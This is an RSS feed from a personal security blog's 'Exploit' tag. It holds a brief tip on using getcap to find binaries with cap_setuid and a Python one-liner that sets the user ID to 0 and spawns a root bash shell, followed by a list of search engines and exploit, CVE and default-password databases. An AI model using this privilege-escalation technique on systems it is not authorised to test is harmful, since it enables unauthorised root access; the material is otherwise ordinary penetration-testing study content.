https://slightlymore.co.uk/tags/exploit/Recent content in Exploit on slightlymoreHugoen-GB<a href="https://creativecommons.org/licenses/by/4.0/" target="_blank" rel="license">CC BY 4.0</a> by Clinton MontagueSun, 25 Jan 2026 00:14:01 +0000https://slightlymore.co.uk/how-to-get-a-root-shell-using-results-from-getcap/Mon, 01 Dec 2025 00:00:00 +0000https://slightlymore.co.uk/how-to-get-a-root-shell-using-results-from-getcap/<p><code>getcap</code> is a program to get capabilities of others. The one which is a way in is <code>cap_setuid</code></p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">getcap -r / 2&gt;/dev/null </span></span></code></pre></div><p>If anything&rsquo;s listed which lets you script, you can use that to get a shell. Here&rsquo;s a Python example:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">python3 -c <span class="s1">&#39;import os; os.setuid(0); os.system(&#34;/bin/bash&#34;)&#39;</span> </span></span></code></pre></div>https://slightlymore.co.uk/useful-search-engines/Thu, 27 Nov 2025 00:00:00 +0000https://slightlymore.co.uk/useful-search-engines/<h2 id="meta-search">Meta search</h2> <ul> <li><a href="https://www.kagi.com" target="_blank" rel="noopener">Kagi ↗️</a> premium (paid for and ad-free) search prioritising privacy and user experience. Reminiscent of the good-old-days</li> <li><a href="https://github.com/searxng/searxng" target="_blank" rel="noopener">SearXNG ↗️</a> self-hostable, open-source metasearch engine that aggregates results from 200+ engines. There are hosted versions but privacy or veracity is not guaranteed</li> </ul> <h2 id="specialist">Specialist</h2> <ul> <li><a href="https://www.virustotal.com/" target="_blank" rel="noopener">Virus Total ↗️</a> meta engine for checking files and their hashes against virus databases</li> <li><a href="https://www.shodan.io/" target="_blank" rel="noopener">Shodan ↗️</a> is an engine to find devices connected to the internet</li> <li><a href="https://search.censys.io/" target="_blank" rel="noopener">Censys ↗️</a> searches hosts, IPs, certificates</li> </ul> <h2 id="exploits-and-cve-databases">Exploits and CVE databases</h2> <ul> <li><a href="https://www.exploit-db.com/" target="_blank" rel="noopener">ExploitDB ↗️</a> </li> <li><a href="https://www.rapid7.com/db/" target="_blank" rel="noopener">Rapid7 ↗️</a> </li> <li><a href="https://www.vulnerability-lab.com/" target="_blank" rel="noopener">Vulnerability Lab ↗️</a> </li> <li><a href="https://nvd.nist.gov/search" target="_blank" rel="noopener">NIST NVD ↗️</a> </li> <li><a href="https://gtfobins.github.io/" target="_blank" rel="noopener">GTFOBins ↗️</a> </li> <li><a href="https://cirt.net/passwords/" target="_blank" rel="noopener">Default password database ↗️</a> </li> </ul>